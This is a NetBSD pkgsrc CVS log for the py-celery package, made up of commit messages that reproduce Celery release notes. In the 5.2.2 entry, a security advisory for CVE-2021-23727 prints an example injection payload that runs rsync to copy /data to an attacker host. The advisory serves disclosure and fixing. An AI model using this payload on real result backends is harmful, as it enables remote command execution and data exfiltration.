Up to [cvs.NetBSD.org] / pkgsrc / net / py-celery
Request diff between arbitrary revisions
Keyword substitution: kv
Default branch: MAIN
py-celery: updated to 5.4.0 5.4.0 ===== Celery v5.4.0 and v5.3.x have consistently focused on enhancing the overall QA, both internally and externally. This effort led to the new pytest-celery v1.0.0 release, developed concurrently with v5.3.0 & v5.4.0. This release introduces two significant QA enhancements: - **Smoke Tests**: A new layer of automatic tests has been added to Celery's standard CI. These tests are designed to handle production scenarios and complex conditions efficiently. While new contributions will not be halted due to the lack of smoke tests, we will request smoke tests for advanced changes where appropriate. - `Standalone Bug Report Script <https://docs.celeryq.dev/projects/pytest-celery/en/latest/userguide/celery-bug-report.html>`_: The new pytest-celery plugin now allows for encapsulating a complete Celery dockerized setup within a single pytest script. Incorporating these into new bug reports will enable us to reproduce reported bugs deterministically, potentially speeding up the resolution process. Contrary to the positive developments above, there have been numerous reports about issues with the Redis broker malfunctioning upon restarts and disconnections. Our initial attempts to resolve this were not successful With our enhanced QA capabilities, we are now prepared to address the core issue with Redis (as a broker) again. The rest of the changes for this release are grouped below, with the changes from the latest release candidate listed at the end. Changes ------- - Add a Task class specialised for Django - Add Google Cloud Storage (GCS) backend - Added documentation to the smoke tests infra - Added a checklist item for using pytest-celery in a bug report - Bugfix: Missing id on chain - Bugfix: Worker not consuming tasks after Redis broker restart - Catch UnicodeDecodeError when opening corrupt beat-schedule.db - chore(ci): Enhance CI with `workflow_dispatch` for targeted debugging and testing - Doc: Enhance "Testing with Celery" section - Docfix: pip install celery[sqs] -> pip install "celery[sqs]" - Enable efficient `chord` when using dynamicdb as backend store - feat(daemon): allows daemonization options to be fetched from app settings - Fix DeprecationWarning: datetime.datetime.utcnow() - Fix recursive result parents on group in middle of chain - Fix typos and grammar - Fixed version documentation tag from 8553 in configuration.rst - Hotfix: Smoke tests didn't allow customizing the worker's command arguments, now it does - Make custom remote control commands available in CLI - Print safe_say() to stdout for non-error flows - Support moto 5.0 - Update contributing guide to use ssh upstream url - Update optimizing.rst - Updated concurrency docs page.
py-celery: updated to 5.3.6 5.3.6 This release is focused mainly to fix AWS SQS new feature comatibility issue and old regressions. The code changes are mostly fix for regressions. More details can be found below. What's Changed - Increased docker-build CI job timeout from 30m -> 60m - Incredibly minor spelling fix. - Fix non-zero exit code when receiving remote shutdown - Update task.py get_custom_headers missing 'compression' key - Update kombu>=5.3.4 to fix SQS request compatibility with boto JSON serializer - test requirements version update - Update elasticsearch version - Propagates more ImportErrors during autodiscovery 5.3.5 What's Changed - Update test.txt versions - fix os.getcwd() FileNotFoundError - Fix typo in CONTRIBUTING.rst - typo(doc): configuration.rst - assert before raise - Update GHA checkout version - Fixed replaced_task_nesting - Fix code indentation for route_task() example - support redis 5.x - Fix typos in test_canvas.py - Marked flaky tests - Fix typos in calling.rst - Added support for replaced_task_nesting in chains - Fix typos in canvas.rst - Patch Version Release Checklist - Added Python 3.11 support to Dockerfile - Dependabot (Celery) - Bump actions/checkout from 3 to 4 - Update ETA example to include timezone - Replaces datetime.fromisoformat with the more lenient dateutil parser - Fixed indentation in Dockerfile for Python 3.11 - Fix git bug in Dockerfile - Tox lint upgrade from Python 3.9 to Python 3.11 - Document gevent concurrency - Update test.txt - Celery Docker Upgrades - pyupgrade upgrade v3.11.0 -> v3.13.0 - Update msgpack.txt - Update auth.txt - Update msgpack.txt to fix build issues - Basic ElasticSearch / ElasticClient 8.x Support - Fix eager tasks does not populate name field - Fix typo in celery.app.control - Update solar.txt ephem - Update test.txt pytest-timeout - Correct some mypy errors - Update elasticsearch.txt - Update test.txt deps - Update test.txt - Improved the "Next steps" documentation. - Disabled couchbase tests due to broken package breaking main - Update elasticsearch deps - Update cryptography==41.0.5 - Update pytest==7.4.3 - test initial support of python 3.12.x - updated new versions to fix CI - Update zstd.txt - Fixed CI Support with Python 3.12 - updated CI, docs and classifier for next release - updated dockerfile to add python 3.12 - lint,mypy,docker-unit-tests -> Python 3.12 - Correct type of `request` in `task_revoked` documentation - update docs docker image - Fixed RecursionError caused by giving `config_from_object` nested mod… - Fix: serialization error when gossip working * [documentation] broker_connection_max_retries of 0 does not mean "retry forever" - added 2 debian package for better stability in Docker
py-celery: updated to 5.2.7 5.2.7 ===== - Fix packaging issue which causes poetry 1.2b1 and above to fail install Celery 5.2.6 ===== - load_extension_class_names - correct module_name 5.2.5 ===== **This release was yanked due to a regression caused by the PR below** - Use importlib instead of deprecated pkg_resources 5.2.4 ===== - Expose more debugging information when receiving unknown tasks
py-celery: update to 5.2.3. 5.2.3 ===== - Allow redis >= 4.0.2. - Upgrade minimum required pymongo version to 3.11.1. - tested pypy3.8 beta (#6998). - Split Signature.__or__ into subclasses' __or__ (#7135). - Prevent duplication in event loop on Consumer restart. - Restrict setuptools>=59.1.1,<59.7.0. - Kombu bumped to v5.2.3 - py-amqp bumped to v5.0.9 - Some docs & CI improvements. 5.2.2 ===== - Various documentation fixes. - Fix CVE-2021-23727 (Stored Command Injection security vulnerability). When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: ``os.system("rsync /data attacker@192.168.56.100:~/data")`` by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payload ``rsync /data attacker@192.168.56.100:~/data`` as the exception arguments like so: .. code-block:: python { "exc_module": "os", 'exc_type': "system", "exc_message": "rsync /data attacker@192.168.56.100:~/data" } According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading. 5.2.1 ===== - Fix rstrip usage on bytes instance in ProxyLogger. - Pass logfile to ExecStop in celery.service example systemd file. - fix: reduce latency of AsyncResult.get under gevent (#7052) - Limit redis version: <4.0.0. - Bump min kombu version to 5.2.2. - Change pytz>dev to a PEP 440 compliant pytz>0.dev.0. - Remove dependency to case (#7077). - fix: task expiration is timezone aware if needed (#7065). - Initial testing of pypy-3.8 beta to CI. - Docs, CI & tests cleanups. 5.2.0 ===== - Prevent from subscribing to empty channels (#7040) - fix register_task method. - Fire task failure signal on final reject (#6980) - Limit pymongo version: <3.12.1 (#7041) - Bump min kombu version to 5.2.1 5.2.0rc2 ======== - Bump Python 3.10.0 to rc2. - [pre-commit.ci] pre-commit autoupdate (#6972). - autopep8. - Prevent worker to send expired revoked items upon hello command (#6975). - docs: clarify the 'keeping results' section (#6979). - Update deprecated task module removal in 5.0 documentation (#6981). - [pre-commit.ci] pre-commit autoupdate. - try python 3.10 GA. - mention python 3.10 on readme. - Documenting the default consumer_timeout value for rabbitmq >= 3.8.15. - Azure blockblob backend parametrized connection/read timeouts (#6978). - Add as_uri method to azure block blob backend. - Add possibility to override backend implementation with celeryconfig (#6879). - [pre-commit.ci] pre-commit autoupdate. - try to fix deprecation warning. - [pre-commit.ci] pre-commit autoupdate. - not needed anyore. - not needed anyore. - not used anymore. - add github discussions forum 5.2.0rc1 ======== - Kill all workers when main process exits in prefork model (#6942). - test kombu 5.2.0rc1 (#6947). - try moto 2.2.x (#6948). - Prepared Hacker News Post on Release Action. - update setup with python 3.7 as minimum. - update kombu on setupcfg. - Added note about automatic killing all child processes of worker after its termination. - [pre-commit.ci] pre-commit autoupdate. - Move importskip before greenlet import (#6956). - amqp: send expiration field to broker if requested by user (#6957). - Single line drift warning. - canvas: fix kwargs argument to prevent recursion (#6810) (#6959). - Allow to enable Events with app.conf mechanism. - Warn when expiration date is in the past. - Add the Framework :: Celery trove classifier. - Give indication whether the task is replacing another (#6916). - Make setup.py executable. - Bump version: 5.2.0b3 → 5.2.0rc1. 5.2.0b3 ======= - Add args to LOG_RECEIVED (fixes #6885) (#6898). - Terminate job implementation for eventlet concurrency backend (#6917). - Add cleanup implementation to filesystem backend (#6919). - [pre-commit.ci] pre-commit autoupdate (#69). - Add before_start hook (fixes #4110) (#6923). - Restart consumer if connection drops (#6930). - Remove outdated optimization documentation (#6933). - added https verification check functionality in arangodb backend (#6800). - Drop Python 3.6 support. - update supported python versions on readme. - [pre-commit.ci] pre-commit autoupdate (#6935). - Remove appveyor configuration since we migrated to GA. - pyugrade is now set to upgrade code to 3.7. - Drop exclude statement since we no longer test with pypy-3.6. - 3.10 is not GA so it's not supported yet. - Celery 5.1 or earlier support Python 3.6. - Fix linting error. - fix: Pass a Context when chaining fail results (#6899). - Bump version: 5.2.0b2 → 5.2.0b3. 5.2.0b2 ======= - Test windows on py3.10rc1 and pypy3.7 (#6868). - Route chord_unlock task to the same queue as chord body (#6896). - Add message properties to app.tasks.Context (#6818). - handle already converted LogLevel and JSON (#6915). - 5.2 is codenamed dawn-chorus. - Bump version: 5.2.0b1 → 5.2.0b2. 5.2.0b1 ======= - Add Python 3.10 support (#6807). - Fix docstring for Signal.send to match code (#6835). - No blank line in log output (#6838). - Chords get body_type independently to handle cases where body.type does not exist (#6847). - Fix #6844 by allowing safe queries via app.inspect().active() (#6849). - Fix multithreaded backend usage (#6851). - Fix Open Collective donate button (#6848). - Fix setting worker concurrency option after signal (#6853). - Make ResultSet.on_ready promise hold a weakref to self (#6784). - Update configuration.rst. - Discard jobs on flush if synack isn't enabled (#6863). - Bump click version to 8.0 (#6861). - Amend IRC network link to Libera (#6837). - Import celery lazily in pytest plugin and unignore flake8 F821, "undefined name '...'" (#6872). - Fix inspect --json output to return valid json without --quiet. - Remove celery.task references in modules, docs (#6869). - The Consul backend must correctly associate requests and responses (#6823).
python: egg.mk: add USE_PKG_RESOURCES flag This flag should be set for packages that import pkg_resources and thus need setuptools after the build step. Set this flag for packages that need it and bump PKGREVISION.
*: bump PKGREVISION for egg.mk users They now have a tool dependency on py-setuptools instead of a DEPENDS
py-celery: updated to 5.1.2 5.1.2 When chords fail, correctly call errbacks. We had a special case for calling errbacks when a chord failed which assumed they were old style. This change ensures that we call the proper errback dispatch method which understands new and old style errbacks, and adds test to confirm that things behave as one might expect now. Avoid using the Event.isSet() deprecated alias. Reintroduce sys.argv default behaviour for Celery.start(). 5.1.1 Fix --pool=threads support in command line options parsing. Fix LoggingProxy.write() return type. Couchdb key is now always coerced into a string. grp is no longer imported unconditionally. This fixes a regression in 5.1.0 when running Celery in non-unix systems. Ensure regen utility class gets marked as done when concertised. Preserve call/errbacks of replaced tasks. Use single-lookahead for regen consumption. Revoked tasks are no longer incorrectly marked as retried. 5.1.0 celery -A app events -c camera now works as expected. Bump minimum required Kombu version to 5.1.0. 5.1.0rc1 Celery Mailbox accept and serializer parameters are initialized from configuration. Error propagation and errback calling for group-like signatures now works as expected. Fix sanitization of passwords in sentinel URIs. Add LOG_RECEIVED to customize logging.
py-celery: updated to 5.0.5 5.0.5 ===== - Ensure keys are strings when deleting results from S3 - Fix a regression breaking `celery --help` and `celery events` 5.0.4 ===== - DummyClient of cache+memory:// backend now shares state between threads This fixes a problem when using our pytest integration with the in memory result backend. Because the state wasn't shared between threads, 6416 results in test suites hanging on `result.get()`. 5.0.3 ===== - Make `--workdir` eager for early handling - When using the MongoDB backend, don't cleanup if result_expires is 0 or None - Fix passing queues into purge command - Restore `app.start()` and `app.worker_main()` - Detaching no longer creates an extra log file - Result backend instances are now thread local to ensure thread safety - Don't upgrade click to 8.x since click-repl doesn't support it yet. - Restore preload options 5.0.2 ===== - Fix _autodiscover_tasks_from_fixups - Flush worker prints, notably the banner - **Breaking Change**: Remove `ha_policy` from queue definition. This argument has no effect since RabbitMQ 3.0. Therefore, We feel comfortable dropping it in a patch release. - Python 3.9 support - **Regression**: When using the prefork pool, pick the fair scheduling strategy by default - Preserve callbacks when replacing a task with a chain - Fix max_retries override on `self.retry()` - Raise proper error when replacing with an empty chain 5.0.1 ===== - Specify UTF-8 as the encoding for log files - Custom headers now propagate when using the protocol 1 hybrid messages - Retry creating the database schema for the database results backend in case of a race condition - When using the Redis results backend, awaiting for a chord no longer hangs when setting :setting:`result_expires` to 0 - When a user tries to specify the app as an option for the subcommand, a custom error message is displayed - Fix the `--without-gossip`, `--without-mingle`, and `--without-heartbeat` options which now work as expected. - Provide a clearer error message when the application cannot be loaded. - Avoid printing deprecation warnings for settings when they are loaded from Django settings - Allow lowercase log levels for the `--loglevel` option - Detaching now works as expected - Restore broadcasting messages from `celery control` - Pass back real result for single task chains - Ensure group tasks a deeply serialized - Fix chord element counting - Restore the `celery shell` command 5.0.0 ===== - **Breaking Change** Remove AMQP result backend - Warn when deprecated settings are used - Expose retry_policy for Redis result backend - Prepare Celery to support the yet to be released Python 3.9 5.0.0rc3 ======== - More cleanups of leftover Python 2 support 5.0.0rc2 ======== - Bump minimum required eventlet version to 0.26.1. - Update Couchbase Result backend to use SDK V3. - Restore monkeypatching when gevent or eventlet are used. 5.0.0rc1 ======== - Allow to opt out of ordered group results when using the Redis result backend - **Breaking Change** Remove the deprecated celery.utils.encoding module. 5.0.0b1 ======= - **Breaking Change** Drop support for the Riak result backend - **Breaking Change** pytest plugin is no longer enabled by default Install pytest-celery to enable it. - **Breaking Change** Brand new CLI based on Click 5.0.0a2 ======= - Bump Kombu version to 5.0 5.0.0a1 ======= - Removed most of the compatibility code that supports Python 2 - Modernized code to work on Python 3.6 and above
py-celery: updated to 4.4.2 4.4.0 ======= - This version is officially supported on CPython 2.7, 3.5, 3.6, 3.7 & 3.8 and is also supported on PyPy2 & PyPy3. - Kombu 4.6.7 - Task class definitions can have retry attributes 4.4.0rc5 ======== - Kombu 4.6.7 - Events bootstep disabled if no events - SQS - Reject on failure - Add a concurrency model with ThreadPoolExecutor - Add auto expiry for DynamoDB backend - Store extending result in all backends - Fix a race condition when publishing a very large chord header - Improve docs and test matrix 4.4.0rc4 ======== - Kombu 4.6.6 - Py-AMQP 2.5.2 - Python 3.8 - Numerious bug fixes - PyPy 7.2 4.4.0rc3 ======== - Kombu 4.6.4 - Billiard 3.6.1 - Py-AMQP 2.5.1 - Avoid serializing datetime - Fix: (group() | group()) not equals single group - Revert "Broker connection uses the heartbeat setting from app config. - Additional file descriptor safety checks. - fixed call for null args - Added generic path for cache backend. - Fix Nested group(chain(group)) fails - Use self.run() when overriding __call__ - Fix termination of asyncloop - Fix migrate task to work with both v1 and v2 of the message protocol. - Updating task_routes config during runtime now have effect. 4.4.0rc2 ======== - Many bugs and regressions fixed. - Kombu 4.6.3 4.4.0rc1 ======== - Python 3.4 drop - Kombu 4.6.1 - Replace deprecated PyMongo methods usage - Pass task request when calling update_state - Fix bug in remaining time calculation in case of DST time change - Fix missing task name when requesting extended result - Fix `collections` import issue on Python 2.7 - handle `AttributeError` in base backend exception deserializer - Make `AsynPool`'s `proc_alive_timeout` configurable - AMQP Support for extended result - Fix SQL Alchemy results backend to work with extended result - Fix restoring of exceptions with required param - Django: Re-raise exception if `ImportError` not caused by missing tasks module - Django: fixed a regression putting DB connections in invalid state when `CONN_MAX_AGE != 0` - Fixed `OSError` leading to lost connection to broker - Fixed an issue with inspect API unable get details of Request - Fix mogodb backend authentication - Change column type for Extended Task Meta args/kwargs to LargeBinary - Handle http_auth in Elasticsearch backend results - Fix task serializer being ignored with `task_always_eager=True` - Fix `task.replace` to work in `.apply() as well as `.apply_async()` - Fix sending of `worker_process_init` signal for solo worker - Fix exception message upacking - Add delay parameter function to beat_schedule - Multiple documentation updates
py-celery: adjust DEPENDS
py-celery: updated to 4.3.0 4.3.0: - Added support for broadcasting using a regular expression pattern or a glob pattern to multiple Pidboxes. - Added support for PEP 420 namespace packages. - Added :setting:acks_on_failure_or_timeout as a setting instead of a task only option. - Added the :signal:task_received signal. - Fixed a crash of our CLI that occurred for everyone using Python < 3.6. - Fixed a crash that occurred when using the Redis result backend while the :setting:result_expires is set to None. - Added support the DNS seedlist connection format for the MongoDB result backend. - Bump the minimum eventlet version to 0.24.1. - Replace the msgpack-python package with msgpack. - Allow scheduling error handlers which are not registered tasks in the current worker. - Additional fixes and enhancements to the SSL support of the Redis broker and result backend.
py-celery: updated to 4.2.1 4.2.1: - **Result Backend**: Fix deserialization of exceptions that are present in the producer codebase but not in the consumer codebase. - **Message Protocol Compatibility**: Fix error caused by an invalid (None) timelimit value in the message headers when migrating messages from 3.x to 4.x. - **Result Backend**: Fix serialization of exception arguments when exception arguments are not JSON serializable by default. - **Worker**: Fixed multiple issues with rate limited tasks Maintain scheduling order. Fix possible scheduling of a :class:celery.worker.request.Request with the wrong :class:kombu.utils.limits.TokenBucket which could cause tasks' rate limit to behave incorrectly. Fix possible duplicated execution of tasks that were rate limited or if ETA/Countdown was provided for them. - **Worker**: Defensively handle invalid timelimit header values in requests.
py-celery: Fix for Python 3.7 (async is a reserved keyword)
py-celery: updated to 4.2.0 4.2.0: - **Task**: Add ignore_result as task execution option - **Redis Result Backend**: Do not create PubSub subscriptions when results are ignored - **Redis Result Backend**: Result consumer always unsubscribes when task state is ready - **Development/Testing**: Add docker-compose and base Dockerfile for development - **Documentation/Sphinx**: Teach autodoc to document tasks if undoc-members is not set - **Documentation/Sphinx**: Put back undoc-members option in sphinx test - **Documentation/Sphinx**: Sphinx autodoc picks up tasks automatically only if undoc-members is set - **Task**: Fix shadow_name issue when using previous version Task class - **Task**: Add support for bound tasks as link_error parameter - **Deployment**: Add a command line option for setting the Result Backend URL - **CI**: Enable pip cache in appveyor build - **Concurrency/Asynpool**: Fix errno property name shadowing. - **DynamoDB Backend**: Configurable endpoint URL - **Timezones**: Correctly detect UTC timezone and timezone from settings - **Control**: Cleanup the mailbox's producer pool after forking - **Documentation**: Start Celery and Celery Beat on Azure WebJob - **Celery Beat**: Schedule due tasks on startup, after Beat restart has occurred - **Worker**: Use absolute time when task is accepted by worker pool - **Canvas**: Propagate arguments to chains inside groups - **Canvas**: Fix Task.replace behavior in nested chords - **Installation**: Pass python_requires argument to setuptools - **Message Protocol Compatibility**: Handle "hybrid" messages that have moved between Celery versions - **Canvas**: request on_timeout now ignores soft time limit exception - **Redis Result Backend**: Integration test to verify PubSub unsubscriptions - **Message Protocol Properties**: Allow the shadow keyword argument and the shadow_name method to set shadow properly - **Canvas**: Run chord_unlock on same queue as chord body - **Canvas**: Support chords with empty header group - **Timezones**: make astimezone call in localize more safe - **Canvas**: Fix length-1 and nested chords - **CI**: Run Openstack Bandit <https://pypi.org/project/bandit/1.0.1/>_ in Travis CI in order to detect security issues. - **CI**: Run isort <https://github.com/timothycrosley/isort>_ in Travis CI in order to lint Python **import** statements. - **Canvas**: Resolve TypeError on .get from nested groups - **CouchDB Backend**: Correct CouchDB key string type for Python 2/3 compatibility - **Group Result**: Fix current_app fallback in GroupResult.restore() - **Consul Backend**: Correct key string type for Python 2/3 compatibility - **Group Result**: Correctly restore an empty GroupResult - **Result**: Disable synchronous waiting for sub-tasks on eager mode - **Celery Beat**: Detect timezone or Daylight Saving Time changes - **Canvas**: Fix append to an empty chain. - **Task**: Allow shadow to override task name in trace and logging messages. - **Documentation/Sphinx**: Fix getfullargspec Python 2.x compatibility in contrib/sphinx.py - **Documentation**: Updated installation instructions for SQS broker - **Celery Beat**: Better equality comparison for ScheduleEntry instances - **Task**: Adding 'shadow' property to as_task_v2 - Try to import directly, do not use deprecated imp method - **Task**: Enable kwargsrepr and argsrepr override for modifying task argument representation - **Result Backend**: Add Redis Sentinel backend - Use unique time values for Collections/LimitedSet - **CI**: Report coverage for all result backends. - **Django**: Use Django DB max age connection setting - **Canvas**: Properly take into account chain tasks link_error - **Canvas**: Allow to create group with single task - **Canvas**: Copy dictionary parameter in chord.from_dict before modifying - **Results Backend**: Add Cassandra options - **Worker**: Apply rate limiting for tasks with ETA - **Celery Beat**: support scheduler entries without a schedule - **SQS Broker**: Updated SQS requirements file with correct boto3 version - Remove unused code from _create_app contextmanager - **Group Result**: Modify GroupResult.as_tuple() to include parent - **Beat**: Set default scheduler class in beat command. - **Worker**: Retry signal receiver after raised exception - **Task**: Allow custom Request class for tasks - **Django**: Django fixup should close all cache backends - **Deployment**: Adds stopasgroup to the supervisor scripts - Using Exception.args to serialize/deserialize exceptions - **Timezones**: Correct calculation of application current time with timezone - **Remote Debugger**: Set the SO_REUSEADDR option on the socket - **Django**: Celery ignores exceptions raised during django.setup() - Use heartbeat setting from application configuration for Broker connection - **Celery Beat**: Fixed exception caused by next_transit receiving an unexpected argument. - **Task** Introduce exponential backoff with Task auto-retry - **AsyncResult**: Remove weak-references to bound methods in AsyncResult promises. - **Development/Testing**: Allow eager application of canvas structures - **Command Line**: Flush stderr before exiting with error code 1. - **Task**: Escapes single quotes in kwargsrepr strings. - **AsyncResult**: Restore ability to join over ResultSet after fixing celery/3818. - **Redis Results Backend**: Unsubscribe on message success. Previously Celery would leak channels, filling the memory of the Redis instance. - **Task**: Only convert eta to isoformat when it is not already a string. - **Redis Results Backend**: The result_backend setting now supports rediss:// URIs - **Canvas** Keyword arguments are passed to tasks in chain as expected. - **Django** Fix a regression casuing Celery to crash when using Django. - **Canvas** Chain with one task now runs as expected. - **Kombu** Celery 4.2 now requires Kombu 4.2 or better. - GreenletExit is not in __all__ in greenlet.py which can not be imported by Python 3.6. The import was adjusted to work on Python 3.6 as well. - Fixed a regression that occured during the development of Celery 4.2 which caused celery report to crash when Django is installed. - Matched the behavior of GroupResult.as_tuple() to that of AsyncResult.as_tuple(). The group's parent is now serialized correctly. - Use Redis coercion mechanism for converting URI query parameters. - Fixed the representation of GroupResult.
Reset maintainer
Sync PLIST with reality. Bump revision.
4.1.0 - Configuration: CELERY_SEND_EVENTS instead of CELERYD_SEND_EVENTS for 3.1.x compatibility - App: Restore behavior so Broadcast queues work. - Sphinx: Make appstr use standard format - App: Make id, name always accessible from logging.Formatter via extra - Worker: Add worker_shutting_down signal - PyPy: Support PyPy version 5.8.0 - Results: Elasticsearch: Fix serializing keys - Canvas: Deserialize all tasks in a chain - Systemd: Recover loglevel for ExecStart in systemd config - Sphinx: Use the Sphinx add_directive_to_domain API. - App: Pass properties to before_task_publish signal - Results: Add SSL option for Redis backends - Beat: celery.schedule.crontab: fix reduce - State: Fix celery issues when using flower REST API - Results: Elasticsearch: Fix serializing document id. - Beat: Make shallow copy of schedules dictionary - Beat: Populate heap when periodic tasks are changed - Task: Allow class methods to define tasks - Platforms: Always return boolean value when checking if signal is supported. - Canvas: Avoid duplicating chains in chords - Canvas: Lookup task only if list has items - Results: Allow unicode message for exception raised in task - Python3: Support for Python 3.6 - App: Fix retried tasks with expirations - * Fixes items format route in docs - Utils: Fix maybe_make_aware - Task: Fix task ETA issues when timezone is defined in configuration - Concurrency: Consumer does not shutdown properly when embedded in gevent application - Canvas: Fix 3725: Task replaced with group does not complete - Task: Correct order in chains with replaced tasks - Result: Enable synchronous execution of sub-tasks - Task: Fix request context for blocking task apply (added hostname) - Utils: Fix task argument handling - Beat: Provide a transparent method to update the Scheduler heap - Beat: Specify default value for pidfile option of celery beat. - Results: Elasticsearch: Stop generating a new field every time when a new result is being put - Results: Elasticsearch now reuses fields when new results are added. - Results: Fixed MongoDB integration when using binary encodings - Worker: Making missing ``*args`` and ``kwargs`` in Task protocol 1 return empty value in protocol 2. - App: Fixed :exc:`TypeError` in AMQP when using deprecated signal - Beat: Added a transparent method to update the scheduler heap. - Task: Fixed handling of tasks with keyword arguments on Python 3 - Task: Fixed request context for blocking task apply by adding missing hostname attribute. - Task: Added option to run subtasks synchronously with ``disable_sync_subtasks`` argument. - App: Fixed chaining of replaced tasks. - Canvas: Fixed bug where replaced tasks with groups were not completing - Worker: Fixed problem where consumer does not shutdown properly when embedded in a gevent application. - Results: Added support for using AWS DynamoDB as a result backend. - Testing: Added caching on pip installs. - Worker: Prevent consuming queue before ready on startup. - App: Fixed task ETA issues when timezone is defined in configuration - Utils: ``maybe_make_aware`` should not modify datetime when it is already timezone-aware. - App: Fixed retrying tasks with expirations. - Results: Allow unicode message for exceptions raised in task - Canvas: Fixed :exc:`IndexError` raised when chord has an empty header. - Canvas: Avoid duplicating chains in chords. - Utils: Allow class methods to define tasks. - Beat: Populate heap when periodic tasks are changed. - Results: Added support for Elasticsearch backend options settings. - Events: Ensure ``Task.as_dict()`` works when not all information about task is available. - Schedules: Fixed pickled crontab schedules to restore properly. - Results: Added SSL option for redis backends
Changes 4.0.2: * Requirements: Now depends on Kombu 4.0.2. * Tasks: Fixed problem with JSON serialization of group * Worker: Fixed JSON serialization issue when using inspect active and friends * App: Fixed saferef errors when using signals * Prefork: Fixed bug with pack requiring bytes argument on Python 2.7.5 and earlier * Tasks: Saferepr did not handle unicode in bytestrings on Python 2 * Testing: Added new celery_worker_paremeters fixture. * Tasks: Added new app argument to GroupResult.restore This makes the restore method behave the same way as the GroupResult constructor. * Tasks: Fixed type checking crash when task takes *args on Python 3 * Documentation and examples improvements
Use "${MV} || ${TRUE}" and "${RM} -f" consistently in post-install targets.
Remove unnecessary PLIST_SUBST and FILES_SUBST that are now provided by the infrastructure. Mark a couple more packages as not ready for python-3.x.
Switch to MASTER_SITES_PYPI.
3.1.16 ====== - **Worker**: 3.1.15 broke ``-Ofair`` behavior. This regression could result in all tasks executing in a single child process if ``-Ofair`` was enabled. - **Canvas**: ``celery.signature`` now properly forwards app argument in all cases. - **Task**: ``.retry()`` did not raise the exception correctly when called without a current exception. - **Worker**: The ``enable_events`` remote control command disabled worker-related events by mistake. - **Django**: Adds support for Django 1.7 class names in INSTALLED_APPS when using ``app.autodiscover_tasks()``. - **Sphinx**: ``celery.contrib.sphinx`` now uses ``getfullargspec`` on Python 3. 3.1.15 ====== - **Django**: Now makes sure ``django.setup()`` is called before importing any task modules (Django 1.7 compatibility) - **Results**: ``result.get()`` was misbehaving by calling ``backend.get_task_meta`` in a finally call leading to AMQP result backend queues not being properly cleaned up. 3.1.14 ====== - **Requirements** - **Init scripts**: The generic worker init scripts ``status`` command now gets an accurate pidfile list. - **Init scripts**: The generic beat script now implements the ``status`` command. - **Commands**: Multi now writes informational output to stdout instead of stderr. - **Worker**: Now ignores not implemented error for ``pool.restart`` - **Task**: Retry no longer raises retry exception when executed in eager mode - **AMQP Result backend**: Now ensured ``on_interval`` is called at least every second for blocking calls to properly propagate parent errors. - **Django**: Compatibility with Django 1.7 on Windows. - **Programs**: `--umask` argument can be now specified in both octal (if starting
3.1.13 ====== Security Fixes -------------- * [Security: `CELERYSA-0002`_] Insecure default umask. The built-in utility used to daemonize the Celery worker service sets an insecure umask by default (umask 0). This means that any files or directories created by the worker will end up having world-writable permissions. Special thanks to Red Hat for originally discovering and reporting the issue! This version will no longer set a default umask by default, so if unset the umask of the parent process will be used. .. _`CELERYSA-0002`: http://github.com/celery/celery/tree/master/docs/sec/CELERYSA-0002.txt News ---- - **Requirements** - Now depends on :ref:`Kombu 3.0.21 <kombu:version-3.0.21>`. - Now depends on :mod:`billiard` 3.3.0.18. - **App**: ``backend`` argument now also sets the :setting:`CELERY_RESULT_BACKEND` setting. - **Task**: ``signature_from_request`` now propagates ``reply_to`` so that the RPC backend works with retried tasks - **Task**: ``retry`` will no longer attempt to requeue the task if sending the retry message fails. Unrelated exceptions being raised could cause a message loop, so it was better to remove this behavior. - **Beat**: Accounts for standard 1ms drift by always waking up 0.010s earlier. This will adjust the latency so that the periodic tasks will not move 1ms after every invocation. - Documentation fixes - **Worker**: Removed an outdated assert statement that could lead to errors being masked
mv cc-by-nc-sa-v3.0 cc-by-nc-sa-v3.0-license
Fix dependency versions (unsaved edit).
Import py27-celery-3.1.11 as net/py-celery. Celery is an asynchronous task queue/job queue based on distributed message passing. It is focused on real-time operation, but supports scheduling as well. The execution units, called tasks, are executed concurrently on a single or more worker servers using multiprocessing, Eventlet, or gevent. Tasks can execute asynchronously (in the background) or synchronously (wait until ready).